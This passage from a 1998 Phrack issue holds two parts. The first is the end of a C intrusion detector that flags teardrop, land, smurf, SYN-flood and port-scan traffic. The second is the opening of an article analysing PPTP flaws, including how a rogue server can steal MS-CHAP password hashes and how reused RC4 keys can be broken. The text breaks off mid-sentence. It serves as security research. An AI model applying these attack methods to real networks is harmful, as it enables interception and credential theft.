|||
|
Function: addtcp
|
|||
|
|
|||
|
Purpose: Add this TCP packet to our list.
|
|||
|
**********************************************************************/
|
|||
|
void addtcp(sport, dport, flags, eaddr)
|
|||
|
u_short sport;
|
|||
|
u_short dport;
|
|||
|
u_char flags;
|
|||
|
u_char *eaddr;
|
|||
|
{
|
|||
|
struct pktin *pi, *last, *tpi;
|
|||
|
|
|||
|
/* See if this packet relates to other packets already received. */
|
|||
|
|
|||
|
for(pi = Gsi->tcpin; pi; pi = pi->next)
|
|||
|
{
|
|||
|
if(pi->saddr == Gsaddr && pi->dport == dport)
|
|||
|
{
|
|||
|
if(flags == TH_SYN)
|
|||
|
addfloodinfo(pi, sport);
|
|||
|
else if((flags & TH_FIN) || (flags & TH_ACK))
|
|||
|
rmfloodinfo(pi, sport);
|
|||
|
return;
|
|||
|
}
|
|||
|
last = pi;
|
|||
|
}
|
|||
|
/* Must be new entry */
|
|||
|
|
|||
|
if((tpi = (struct pktin *)malloc(sizeof(struct pktin))) == NULL)
|
|||
|
{
|
|||
|
perror("Malloc");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
memset(tpi, 0, sizeof(struct pktin));
|
|||
|
memcpy(tpi->eaddr, eaddr, ETH_ALEN);
|
|||
|
tpi->saddr = Gsaddr;
|
|||
|
tpi->sport = sport;
|
|||
|
tpi->dport = dport;
|
|||
|
tpi->timein = Gtimein;
|
|||
|
if(flags == TH_SYN)
|
|||
|
addfloodinfo(tpi, sport);
|
|||
|
if(Gsi->tcpin)
|
|||
|
last->next = tpi;
|
|||
|
else
|
|||
|
Gsi->tcpin = tpi;
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: addfloodinfo
|
|||
|
|
|||
|
Purpose: Add floodinfo information
|
|||
|
**********************************************************************/
|
|||
|
void addfloodinfo(pi, sport)
|
|||
|
struct pktin *pi;
|
|||
|
u_short sport;
|
|||
|
{
|
|||
|
struct floodinfo *fi;
|
|||
|
|
|||
|
fi = (struct floodinfo *)malloc(sizeof(struct floodinfo));
|
|||
|
if(fi == NULL)
|
|||
|
{
|
|||
|
perror("Malloc of floodinfo");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
memset(fi, 0, sizeof(struct floodinfo));
|
|||
|
fi->sport = sport;
|
|||
|
fi->next = pi->fi;
|
|||
|
pi->fi = fi;
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: rmfloodinfo
|
|||
|
|
|||
|
Purpose: Removes floodinfo information
|
|||
|
**********************************************************************/
|
|||
|
void rmfloodinfo(pi, sport)
|
|||
|
struct pktin *pi;
|
|||
|
u_short sport;
|
|||
|
{
|
|||
|
struct floodinfo *fi, *prev = NULL;
|
|||
|
|
|||
|
for(fi = pi->fi; fi; fi = fi->next)
|
|||
|
{
|
|||
|
if(fi->sport == sport)
|
|||
|
break;
|
|||
|
prev = fi;
|
|||
|
}
|
|||
|
if(fi == NULL)
|
|||
|
return;
|
|||
|
if(prev == NULL) /* First element */
|
|||
|
pi->fi = fi->next;
|
|||
|
else
|
|||
|
prev->next = fi->next;
|
|||
|
free(fi);
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: do_udp
|
|||
|
|
|||
|
Purpose: Process this udp packet.
|
|||
|
|
|||
|
Currently teardrop and all its derivitives put 242 in the IP id field.
|
|||
|
This could obviously be changed. The truly paranoid might want to flag all
|
|||
|
fragmented UDP packets. The truly adventurous might enhance the code to
|
|||
|
track fragments and check them for overlaping boundaries.
|
|||
|
**********************************************************************/
|
|||
|
void do_udp(ep, pkt)
|
|||
|
struct ethhdr *ep;
|
|||
|
u_char *pkt;
|
|||
|
{
|
|||
|
struct udphdr *uhdr;
|
|||
|
u_short sport, dport;
|
|||
|
|
|||
|
uhdr = (struct udphdr *) pkt;
|
|||
|
if(Gid == 242 && Gisfrag) /* probable teardrop */
|
|||
|
{
|
|||
|
Gsi->teardrop.saddr = Gsaddr;
|
|||
|
memcpy(Gsi->teardrop.eaddr, ep->h_source, ETH_ALEN);
|
|||
|
Gsi->teardrop.atktime = Gtimein;
|
|||
|
}
|
|||
|
sport = ntohs(uhdr->source);
|
|||
|
dport = ntohs(uhdr->dest);
|
|||
|
addudp(sport, dport, ep->h_source);
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: addudp
|
|||
|
|
|||
|
Purpose: Add this udp packet to our list.
|
|||
|
**********************************************************************/
|
|||
|
void addudp(sport, dport, eaddr)
|
|||
|
u_short sport;
|
|||
|
u_short dport;
|
|||
|
u_char *eaddr;
|
|||
|
{
|
|||
|
struct pktin *pi, *last, *tpi;
|
|||
|
|
|||
|
for(pi = Gsi->udpin; pi; pi = pi->next)
|
|||
|
{
|
|||
|
if(pi->saddr == Gsaddr && pi->dport == dport)
|
|||
|
{
|
|||
|
pi->timein = Gtimein;
|
|||
|
return;
|
|||
|
}
|
|||
|
last = pi;
|
|||
|
}
|
|||
|
/* Must be new entry */
|
|||
|
|
|||
|
if((tpi = (struct pktin *)malloc(sizeof(struct pktin))) == NULL)
|
|||
|
{
|
|||
|
perror("Malloc");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
memset(tpi, 0, sizeof(struct pktin));
|
|||
|
memcpy(tpi->eaddr, eaddr, ETH_ALEN);
|
|||
|
tpi->saddr = Gsaddr;
|
|||
|
tpi->sport = sport;
|
|||
|
tpi->dport = dport;
|
|||
|
tpi->timein = Gtimein;
|
|||
|
if(Gsi->udpin)
|
|||
|
last->next = tpi;
|
|||
|
else
|
|||
|
Gsi->udpin = tpi;
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: do_icmp
|
|||
|
|
|||
|
Purpose: Process an ICMP packet.
|
|||
|
|
|||
|
We assume there is no valid reason to receive a fragmented ICMP packet.
|
|||
|
**********************************************************************/
|
|||
|
void do_icmp(ep, pkt)
|
|||
|
struct ethhdr *ep;
|
|||
|
u_char *pkt;
|
|||
|
{
|
|||
|
struct icmphdr *icmp;
|
|||
|
|
|||
|
icmp = (struct icmphdr *) pkt;
|
|||
|
if(Gisfrag) /* probable ICMP attack (i.e. Ping of Death) */
|
|||
|
{
|
|||
|
Gsi->icmpfrag.saddr = Gsaddr;
|
|||
|
memcpy(Gsi->icmpfrag.eaddr, ep->h_source, ETH_ALEN);
|
|||
|
Gsi->icmpfrag.atktime = Gtimein;
|
|||
|
}
|
|||
|
if(icmp->type == ICMP_ECHOREPLY)
|
|||
|
Gsi->icmpcnt++;
|
|||
|
return;
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: clear_pkt
|
|||
|
|
|||
|
Purpose: Delete and free space for any old packets.
|
|||
|
**********************************************************************/
|
|||
|
void clear_pktin(si)
|
|||
|
struct scaninfo *si;
|
|||
|
{
|
|||
|
struct pktin *pi;
|
|||
|
struct floodinfo *fi, *tfi;
|
|||
|
time_t t, t2;
|
|||
|
|
|||
|
t = time((time_t *)0);
|
|||
|
while(si->tcpin)
|
|||
|
{
|
|||
|
t2 = t - si->tcpin->timein;
|
|||
|
if(t2 > Gtimer)
|
|||
|
{
|
|||
|
pi = si->tcpin;
|
|||
|
fi = pi->fi;
|
|||
|
while(fi)
|
|||
|
{
|
|||
|
tfi = fi;
|
|||
|
fi = fi->next;
|
|||
|
free(tfi);
|
|||
|
}
|
|||
|
si->tcpin = pi->next;
|
|||
|
free(pi);
|
|||
|
}
|
|||
|
else
|
|||
|
break;
|
|||
|
}
|
|||
|
while(si->udpin)
|
|||
|
{
|
|||
|
t2 = t - si->udpin->timein;
|
|||
|
if(t2 > Gtimer)
|
|||
|
{
|
|||
|
pi = si->udpin;
|
|||
|
si->udpin = pi->next;
|
|||
|
free(pi);
|
|||
|
}
|
|||
|
else
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/**********************************************************************
|
|||
|
Function: print_info
|
|||
|
|
|||
|
Purpose: Print out any alerts.
|
|||
|
**********************************************************************/
|
|||
|
void print_info()
|
|||
|
{
|
|||
|
struct pktin *pi;
|
|||
|
struct addrlist *tcplist = NULL, *udplist = NULL, *al;
|
|||
|
struct floodinfo *fi;
|
|||
|
char buf[1024], *eaddr, abuf[32];
|
|||
|
int i;
|
|||
|
|
|||
|
strcpy(abuf, anetaddr(Gsi->addr));
|
|||
|
if(Greportlevel == REPORTALL || Greportlevel == REPORTDOS)
|
|||
|
{
|
|||
|
if(Gsi->teardrop.atktime)
|
|||
|
{
|
|||
|
eaddr = ether_ntoa(Gsi->teardrop.eaddr);
|
|||
|
sprintf(buf, "Possible teardrop attack from %s (%s) against %s",
|
|||
|
anetaddr(Gsi->teardrop), eaddr, abuf);
|
|||
|
syslog(LOG_ALERT, buf);
|
|||
|
memset(&Gsi->teardrop, 0, sizeof(struct atk));
|
|||
|
}
|
|||
|
if(Gsi->land.atktime)
|
|||
|
{
|
|||
|
eaddr = ether_ntoa(Gsi->land.eaddr);
|
|||
|
sprintf(buf, "Possible land attack from (%s) against %s",
|
|||
|
eaddr, abuf);
|
|||
|
syslog(LOG_ALERT, buf);
|
|||
|
memset(&Gsi->land, 0, sizeof(struct atk));
|
|||
|
}
|
|||
|
if(Gsi->icmpfrag.atktime)
|
|||
|
{
|
|||
|
eaddr = ether_ntoa(Gsi->icmpfrag.eaddr);
|
|||
|
sprintf(buf, "ICMP fragment detected from %s (%s) against %s",
|
|||
|
anetaddr(Gsi->icmpfrag), eaddr, abuf);
|
|||
|
syslog(LOG_ALERT, buf);
|
|||
|
memset(&Gsi->icmpfrag, 0, sizeof(struct atk));
|
|||
|
}
|
|||
|
if(Gsi->icmpcnt > Gicmplimit)
|
|||
|
{
|
|||
|
sprintf(buf, "ICMP ECHO threshold exceeded, smurfs up. I saw %d packets\n", Gsi->icmpcnt);
|
|||
|
syslog(LOG_ALERT, buf);
|
|||
|
Gsi->icmpcnt = 0;
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
for(pi = Gsi->tcpin; pi; pi = pi->next)
|
|||
|
{
|
|||
|
i = 0;
|
|||
|
for(fi = pi->fi; fi; fi = fi->next)
|
|||
|
i++;
|
|||
|
|
|||
|
if(Greportlevel == REPORTALL || Greportlevel == REPORTDOS)
|
|||
|
{
|
|||
|
if(i > Gsynflood)
|
|||
|
{
|
|||
|
eaddr = ether_ntoa(pi->eaddr);
|
|||
|
sprintf(buf, "Possible SYNFLOOD from %s (%s), against %s. I saw %d packets\n",
|
|||
|
anetaddr(pi->saddr), eaddr, abuf, i);
|
|||
|
syslog(LOG_ALERT, buf);
|
|||
|
}
|
|||
|
}
|
|||
|
for(al = tcplist; al; al = al->next)
|
|||
|
{
|
|||
|
if(pi->saddr == al->saddr)
|
|||
|
{
|
|||
|
al->cnt++;
|
|||
|
if(pi->sport == 80)
|
|||
|
al->wwwcnt++;
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
if(al == NULL) /* new address */
|
|||
|
{
|
|||
|
al = (struct addrlist *)malloc(sizeof(struct addrlist));
|
|||
|
if(al == NULL)
|
|||
|
{
|
|||
|
perror("Malloc address list");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
memset(al, 0, sizeof(struct addrlist));
|
|||
|
al->saddr = pi->saddr;
|
|||
|
al->cnt = 1;
|
|||
|
if(pi->sport == 80)
|
|||
|
al->wwwcnt = 1;
|
|||
|
al->next = tcplist;
|
|||
|
tcplist = al;
|
|||
|
}
|
|||
|
}
|
|||
|
if(Greportlevel == REPORTALL || Greportlevel == REPORTSCAN)
|
|||
|
{
|
|||
|
for(al = tcplist; al; al = al->next)
|
|||
|
{
|
|||
|
if((al->cnt - al->wwwcnt) > Gportlimit || al->wwwcnt > Gwebcount)
|
|||
|
{
|
|||
|
sprintf(buf, "Possible TCP port scan from %s (%d ports) against %s\n",
|
|||
|
anetaddr(al->saddr), al->cnt, abuf);
|
|||
|
syslog(LOG_ALERT, buf);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
for(pi = Gsi->udpin; pi; pi = pi->next)
|
|||
|
{
|
|||
|
for(al = udplist; al; al = al->next)
|
|||
|
{
|
|||
|
if(pi->saddr == al->saddr)
|
|||
|
{
|
|||
|
al->cnt++;
|
|||
|
break;
|
|||
|
}
|
|||
|
}
|
|||
|
if(al == NULL) /* new address */
|
|||
|
{
|
|||
|
al = (struct addrlist *)malloc(sizeof(struct addrlist));
|
|||
|
if(al == NULL)
|
|||
|
{
|
|||
|
perror("Malloc address list");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
memset(al, 0, sizeof(struct addrlist));
|
|||
|
al->saddr = pi->saddr;
|
|||
|
al->cnt = 1;
|
|||
|
al->next = udplist;
|
|||
|
udplist = al;
|
|||
|
}
|
|||
|
}
|
|||
|
for(al = udplist; al; al = al->next)
|
|||
|
{
|
|||
|
if(al->cnt > Gportlimit)
|
|||
|
{
|
|||
|
sprintf(buf, "Possible UDP port scan from %s (%d ports) against %s\n",
|
|||
|
anetaddr(al->saddr), al->cnt, abuf);
|
|||
|
syslog(LOG_ALERT, buf);
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
while(tcplist)
|
|||
|
{
|
|||
|
al = tcplist->next;
|
|||
|
free(tcplist);
|
|||
|
tcplist = al;
|
|||
|
}
|
|||
|
while(udplist)
|
|||
|
{
|
|||
|
al = udplist->next;
|
|||
|
free(udplist);
|
|||
|
udplist = al;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
/************************************************************************
|
|||
|
Function: anetaddr
|
|||
|
|
|||
|
Description:
|
|||
|
|
|||
|
Another version of the intoa function.
|
|||
|
************************************************************************/
|
|||
|
|
|||
|
char *anetaddr(addr)
|
|||
|
u_long addr;
|
|||
|
{
|
|||
|
u_long naddr;
|
|||
|
static char buf[16];
|
|||
|
u_char b[4];
|
|||
|
int i;
|
|||
|
|
|||
|
naddr = ntohl(addr);
|
|||
|
for(i = 3; i >= 0; i--)
|
|||
|
{
|
|||
|
b[i] = (u_char) (naddr & 0xff);
|
|||
|
naddr >>= 8;
|
|||
|
}
|
|||
|
sprintf(buf, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]);
|
|||
|
return(buf);
|
|||
|
}
|
|||
|
|
|||
|
/************************************************************************
|
|||
|
Function: initdevice
|
|||
|
|
|||
|
Description: Set up the network device so we can read it.
|
|||
|
|
|||
|
**************************************************************************/
|
|||
|
initdevice(fd_flags, dflags)
|
|||
|
int fd_flags;
|
|||
|
u_long dflags;
|
|||
|
{
|
|||
|
struct ifreq ifr;
|
|||
|
int fd, flags = 0;
|
|||
|
|
|||
|
if((fd = socket(PF_INET, SOCK_PACKET, htons(0x0003))) < 0)
|
|||
|
{
|
|||
|
perror("Cannot open device socket");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
|
|||
|
/* Get the existing interface flags */
|
|||
|
|
|||
|
strcpy(ifr.ifr_name, Gdevice);
|
|||
|
if(ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
|
|||
|
{
|
|||
|
perror("Cannot get interface flags");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
|
|||
|
ifr.ifr_flags |= IFF_PROMISC;
|
|||
|
if(ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
|
|||
|
{
|
|||
|
perror("Cannot set interface flags");
|
|||
|
exit(-1);
|
|||
|
}
|
|||
|
|
|||
|
return(fd);
|
|||
|
}
|
|||
|
|
|||
|
/************************************************************************
|
|||
|
Function: readdevice
|
|||
|
|
|||
|
Description: Read a packet from the device.
|
|||
|
|
|||
|
**************************************************************************/
|
|||
|
u_char *readdevice(fd, pktlen)
|
|||
|
int fd;
|
|||
|
int *pktlen;
|
|||
|
{
|
|||
|
int cc = 0, from_len, readmore = 1;
|
|||
|
struct sockaddr from;
|
|||
|
static u_char pktbuffer[PKTLEN];
|
|||
|
u_char *cp;
|
|||
|
|
|||
|
while(readmore)
|
|||
|
{
|
|||
|
from_len = sizeof(from);
|
|||
|
if((cc = recvfrom(fd, pktbuffer, PKTLEN, 0, &from, &from_len)) < 0)
|
|||
|
{
|
|||
|
if(errno != EWOULDBLOCK)
|
|||
|
return(NULL);
|
|||
|
}
|
|||
|
if(strcmp(Gdevice, from.sa_data) == 0)
|
|||
|
readmore = 0;
|
|||
|
}
|
|||
|
*pktlen = cc;
|
|||
|
return(pktbuffer);
|
|||
|
}
|
|||
|
|
|||
|
/*************************************************************************
|
|||
|
Function: ether_ntoa
|
|||
|
|
|||
|
Description:
|
|||
|
|
|||
|
Translates a MAC address into ascii. This function emulates
|
|||
|
the ether_ntoa function that exists on Sun and Solaris, but not on Linux.
|
|||
|
It could probably (almost certainly) be more efficent, but it will do.
|
|||
|
*************************************************************************/
|
|||
|
char *ether_ntoa(etheraddr)
|
|||
|
u_char etheraddr[ETH_ALEN];
|
|||
|
{
|
|||
|
int i, j;
|
|||
|
static char eout[32];
|
|||
|
char tbuf[10];
|
|||
|
|
|||
|
for(i = 0, j = 0; i < 5; i++)
|
|||
|
{
|
|||
|
eout[j++] = etheraddr[i] >> 4;
|
|||
|
eout[j++] = etheraddr[i] & 0xF;
|
|||
|
eout[j++] = ':';
|
|||
|
}
|
|||
|
eout[j++] = etheraddr[i] >> 4;
|
|||
|
eout[j++] = etheraddr[i] & 0xF;
|
|||
|
eout[j++] = '\0';
|
|||
|
for(i = 0; i < 17; i++)
|
|||
|
{
|
|||
|
if(eout[i] < 10)
|
|||
|
eout[i] += 0x30;
|
|||
|
else if(eout[i] < 16)
|
|||
|
eout[i] += 0x57;
|
|||
|
}
|
|||
|
return(eout);
|
|||
|
}
|
|||
|
<-->
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 12 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ The Crumbling Tunnel
|
|||
|
|
|||
|
|
|||
|
--------[ aleph1 <aleph1@underground.org>
|
|||
|
|
|||
|
|
|||
|
-[ The Crumbling Tunnel ]-
|
|||
|
< A Menagerie of PPTP Vulnerabilities >
|
|||
|
|
|||
|
by aleph1@underground.org
|
|||
|
|
|||
|
|
|||
|
Point-to-Point Tunneling Protocol (PPTP) is a new networking
|
|||
|
technology that allows you to use the Internet as your own secure
|
|||
|
virtual private network (VPN). PPTP is integrated with the Remote
|
|||
|
Access Services (RAS) server which is built into Windows NT Server.
|
|||
|
With PPTP, your users can dial into a local ISP, or connect directly
|
|||
|
to the Internet, and access their network just as easily and securely
|
|||
|
as if they were at their desks.
|
|||
|
|
|||
|
< http://www.microsoft.com/communications/pptp.htm >
|
|||
|
|
|||
|
|
|||
|
-[ p r e f a c e ]-
|
|||
|
|
|||
|
This paper is a compendium of the discussions between myself and a Microsoft
|
|||
|
representative during October 1996 and May 1997 on several NT security
|
|||
|
mailing lists, the research done by Counterpane System and published in the
|
|||
|
paper "Cryptanalysis of Microsoft's Point-to-Point Tunneling Protocol
|
|||
|
(PPTP)" by B. Schneier and P. Mudge on June 1998, and a new vulnerability I
|
|||
|
have recently discovered.
|
|||
|
|
|||
|
|
|||
|
-[ i n t r o d u c t i o n ]-
|
|||
|
|
|||
|
As stated above, the Point-to-Point Tunneling Protocol is Microsoft's attempt
|
|||
|
at creating a Virtual Private Network (VPN) protocol. Given their past
|
|||
|
history in developing and implementing protocols, an analysis of PPTP for
|
|||
|
security vulnerabilities would certainly be an interesting endeavor. The
|
|||
|
following is such an analysis.
|
|||
|
|
|||
|
Although this analysis is technical in nature, I will not spend the time
|
|||
|
describing exactly how each protocol works. I will assume you have done your
|
|||
|
homework and at least briefly glanced over the specifications for each of
|
|||
|
the protocols involved.
|
|||
|
|
|||
|
PPTP is really a number of protocols cobbled together to make a whole. The
|
|||
|
players are:
|
|||
|
|
|||
|
GRE - The Generic Encapsulation Protocol. The protocol is
|
|||
|
defined in RFC 1701 and RFC 1702. Microsoft has defined
|
|||
|
their own extensions. They call their modifications
|
|||
|
GRE v2.
|
|||
|
|
|||
|
PPP - The Point-to-Point Protocol. The protocol is defined
|
|||
|
in RFC 1661. The protocol is used for the transmission
|
|||
|
of multi-protocol datagrams over point-to-point links.
|
|||
|
|
|||
|
PPTP - PPTP uses GRE to tunnel PPP and adds a connections setup
|
|||
|
and control protocol over a TCP session.
|
|||
|
|
|||
|
MS-CHAP - This is Microsoft's variant of the more common PPP CHAP
|
|||
|
authentication protocol. It is a challenge response
|
|||
|
authentication algorithm. It supplies the challenge used
|
|||
|
by MPPE (see below) to encrypt the session. It also has
|
|||
|
two sub-protocols for changing passwords. It is defined in the
|
|||
|
draft draft-ietf-pppext-mschap-00.txt.
|
|||
|
|
|||
|
MPPE - Microsoft's Point-to-Point Encryption protocol. This is
|
|||
|
the protocol in charge of generating a session key and
|
|||
|
encrypting the session. It is defined in the drafts
|
|||
|
draft-ietf-pppext-mppe-00.txt and draft-ietf-pppext-mppe-01.txt.
|
|||
|
|
|||
|
< PPTP in a nutshell >
|
|||
|
|
|||
|
PPTP creates a connection setup and control channel using TCP to the PPTP
|
|||
|
server (Microsoft's RAS). Using this connection, PPTP establishes a new GRE
|
|||
|
tunnel which will carry PPP packets from the client to the server. The client
|
|||
|
will authenticate to the server via PPP's negotiation mechanism using MS-CHAP
|
|||
|
and will then encrypt all PPP data packets using MPPE.
|
|||
|
|
|||
|
Enough acronyms for you? Lets get dirty.
|
|||
|
|
|||
|
|
|||
|
-[ P P T P ]-
|
|||
|
|
|||
|
PPTP creates a connection setup and control channel to the server using TCP.
|
|||
|
Originally the TCP port used was 5678. Later on it was changed to 1723. This
|
|||
|
is the IANA assigned port number. The control connection is not authenticated
|
|||
|
in any way. It is easy for Mallory (the malicious interloper) to take over
|
|||
|
the connection via TCP hijacking techniques. She can then issue Stop Session
|
|||
|
Request commands. This will close the control channel and at the same time all
|
|||
|
active calls (tunnels) will be cleared.
|
|||
|
|
|||
|
|
|||
|
-[ G R E ]-
|
|||
|
|
|||
|
PPP packets are encapsulated in GRE and tunneled on top of IP. GRE uses IP
|
|||
|
protocol number 47. GRE packets are similar in some respects to TCP segments.
|
|||
|
They both may carry a sequence and acknowledgement number. GRE also uses a
|
|||
|
sliding window to avoid congestion.
|
|||
|
|
|||
|
This has some important implications. It means that if we want to spoof PPP
|
|||
|
packets encapsulated in GRE, we will desynchronize the GRE channel. A
|
|||
|
possible way around this is the use of the "S" flag in the GRE header. This
|
|||
|
flag tells the end point if the GRE packet has a sequence number. It is
|
|||
|
possible that a badly coded implementation will accept a GRE packet with data
|
|||
|
even if it does not have a sequence number. This is because in the original
|
|||
|
GRE standard the use of sequence numbers was optional. Furthermore, the
|
|||
|
specification does not mention how an end system should act if it receives a
|
|||
|
GRE packet with a duplicate sequence number. It may simply discard it and
|
|||
|
send another acknowledgement. This would mean we do not need to resynchronize
|
|||
|
GRE at all. The other end will send an acknowledgement for the packet we
|
|||
|
spoofed and the encapsulated PPP should not become desynchronized. As of this
|
|||
|
writing I haven't yet tested this possibility.
|
|||
|
|
|||
|
It is also interesting to note that the original GRE specification has many
|
|||
|
options to do things like source routing which are left as implementation
|
|||
|
specific. If you open a hole in your firewall for GRE just so you can use
|
|||
|
PPTP you might be letting in more than you think. This area needs further
|
|||
|
investigation.
|
|||
|
|
|||
|
|
|||
|
-[ M S - C H A P ]-
|
|||
|
|
|||
|
MS-CHAP is a challenge response protocol. The server send the client an 8
|
|||
|
byte challenge. The client computes a response by encrypting the challenge
|
|||
|
with the NT one way hash and then with the LANMAN one way hash.
|
|||
|
|
|||
|
|
|||
|
< Dictionary Attack >
|
|||
|
|
|||
|
Like most other challenge/response protocols, this one is vulnerable to a
|
|||
|
dictionary by such tools as L0phtcrack. As Schneier and Mudge describe in
|
|||
|
their paper, the LANMAN based response is easier to crack than it normally is
|
|||
|
because here it is divided into three pieces which are encrypted independently.
|
|||
|
This allows for a speed up in breaking the password. Please see their paper
|
|||
|
for a detailed explanation of the process.
|
|||
|
|
|||
|
The PPTP Performance update for Windows NT 4.0 (PPTP2-FIX) stops the PPTP
|
|||
|
Windows NT client from sending the LANMAN hash based response if the client
|
|||
|
is configured to use 128-bit encryption. The same fix also allows the server
|
|||
|
to reject PPTP clients that attempt to authenticate using the LANMAN hash
|
|||
|
based response.
|
|||
|
|
|||
|
|
|||
|
< Stealing the Password >
|
|||
|
|
|||
|
MS-CHAP has two sub-protocols for changing password. In version one the
|
|||
|
client encrypts the new and old hashes (NT and LANMAN) with the challenge
|
|||
|
the server sent over the wire. A passive attacker can simply decrypt the
|
|||
|
hashes and steal them.
|
|||
|
|
|||
|
Version two encrypts the new hashes with the old hashes and encrypts the old
|
|||
|
hashes with the new hashes. Only the server, which knows the old hashes,
|
|||
|
will be able to decrypt the new hashes and use these to decrypt the old
|
|||
|
hashes and verify the user's identity.
|
|||
|
|
|||
|
As I recently discovered, this feature of MS-CHAP can be used to steal the
|
|||
|
user's password hashes if Mallory can masquerade as the PPTP server. Several
|
|||
|
methods to masquerade as the server come into mind, including DNS hijacking
|
|||
|
and RIP spoofing. Once the unsuspecting user connects to Mallory's rogue
|
|||
|
server and attempts to authenticate she will return a ERROR_PASSWD_EXPIRE
|
|||
|
error to the user and tell the client to use the older version of the
|
|||
|
password change sub-protocol. The user will then be prompted by the PPTP
|
|||
|
client to enter his old and new password. The client will proceed to send
|
|||
|
the new and old password hashes, LANMAN and NT, encrypted with the challenge
|
|||
|
the rouge server sent. Now Mallory can use the hashes to logon into the real
|
|||
|
PPTP server and impersonate the user.
|
|||
|
|
|||
|
The MS-CHAP draft deprecates the use of the change password version 1 protocol
|
|||
|
but Microsoft's implementation continue to support it. This vulnerability was
|
|||
|
verified using Windows NT's RAS PPTP client with the PPTP Performance Update
|
|||
|
(PPTP2-FIX) installed. At the end you will find some source code that
|
|||
|
implements a demonstration PPTP server that asks the user to change passwords
|
|||
|
using the older protocol and prints the stolen hashes on the screen.
|
|||
|
|
|||
|
|
|||
|
-[ M P P E ]-
|
|||
|
|
|||
|
The are two drafts for MPPE. I'll discuss the earlier one first.
|
|||
|
|
|||
|
MPPE uses RC4, a stream cipher, to encrypt the PPP datagrams. MPPE is
|
|||
|
negotiated as a compression protocol as part of PPP's Link Control Protocol
|
|||
|
negotiation.
|
|||
|
|
|||
|
|
|||
|
< Session Keys >
|
|||
|
|
|||
|
MPPE currently supports 40 and 128 bit session keys, although more key lengths
|
|||
|
can be defined. The 40-bit session key is derived from the first 8 bytes of
|
|||
|
the LANMAN hash. The session key will be the same for all sessions until the
|
|||
|
user changes his password.
|
|||
|
|
|||
|
The 128-bit session key is created by taking the first 16 bytes of the MD4
|
|||
|
hash and the first 16 bytes of the NT hash, and then hashing them with the
|
|||
|
servers challenge. Microsoft claims that they hash the NT hash to protect it.
|
|||
|
I fail to see their point. The password hash, nor it's hash, ever go over the
|
|||
|
wire. Why they selected this algorithm remains a mystery.
|
|||
|
|
|||
|
The new MPPE draft adds an option to use a 40-bit key derived from the NT hash.
|
|||
|
|
|||
|
As Schneier and Mudge point out, it is misleading to say MPPE provides
|
|||
|
128-bit, or even 40-bit, security. The 40-bit LANMAN based session key is
|
|||
|
derived from the password only, and as such will have a much lower entropy
|
|||
|
than a random 40-bit key. The 128-bit and 40-bit NT hash based session keys
|
|||
|
are derived from both the users password and the server's challenge.
|
|||
|
Depending on how good the server's random number generator is, the session
|
|||
|
key may have a much lower entropy than 128 or 40 bits. A study of how
|
|||
|
Microsoft's PPTP server, and NT in general, generates random numbers would
|
|||
|
be interesting. The only way to guarantee the full strength of the key is by
|
|||
|
generating it with a good RNG.
|
|||
|
|
|||
|
|
|||
|
< Attacking PPP >
|
|||
|
|
|||
|
As Schneier and Mudge also point, out only PPP packets with protocol numbers
|
|||
|
between 0x21 and 0xFA are encrypted (in essence only data packets are
|
|||
|
encrypted). In contrast, the PPP Encryption Control Protocol (RFC 1968)
|
|||
|
encrypts all packets other than LCP packets after ECP is negotiated.
|
|||
|
|
|||
|
This means Mallory can spoof Network Control Protocol packets with impunity.
|
|||
|
It also means she can obtain some useful information by simply sniffing the
|
|||
|
NCP packets. Things like whether the internal network uses IP, IPX, or
|
|||
|
NetBIOS, the internal IP address of the PPTP client, NetBIOS names, the IP
|
|||
|
address of internal WINS and DNS servers, the clients internal IPX node
|
|||
|
number and other things. Read the IPCP (RFC 13320, NBFCP (RFC 2097) and
|
|||
|
IPXCP (RFC 1552) specifications for more information.
|
|||
|
|
|||
|
|
|||
|
< Breaking RC4 >
|
|||
|
|
|||
|
Stream ciphers, like RC4, are susceptible to attack if two or more plaintexts
|
|||
|
are encrypted with the same key. If you take two ciphertexts encrypted with
|
|||
|
the same key and xor them together you will obtain the two plaintexts xor'ed
|
|||
|
together. If you can make an educated guess as to the structure and contents
|
|||
|
of part of one of the plaintexts you will be able to obtain the corresponding
|
|||
|
plaintext in the other message.
|
|||
|
|
|||
|
MPPE is susceptible to such an attack. As mentioned above the 40-bit session
|
|||
|
key is the same in each session. Mallory can passively monitor the network
|
|||
|
and collect many sessions, all encrypted with the same key that she can then
|
|||
|
attempt to break. The problem is compounded since she has learned things
|
|||
|
like the clients internal IP address and its NetBIOS name which will be in
|
|||
|
the encrypted packets by monitoring the NCP PPP packets.
|
|||
|
|
|||
|
MPPE uses the same key in each direction. For each session at least two
|
|||
|
packets, one inbound and one outbound, will be encrypted with the same key.
|
|||
|
In this way, even traffic protected by the 128-bit unique session key can be
|
|||
|
attacked.
|
|||
|
|
|||
|
MPPE being a sub-protocol of PPP, a datagram protocol, does not expect a
|
|||
|
reliable link. Instead it maintains a 12-bit coherency count that is
|
|||
|
increased for each packet to keep the encryption tables synchronized. Each
|
|||
|
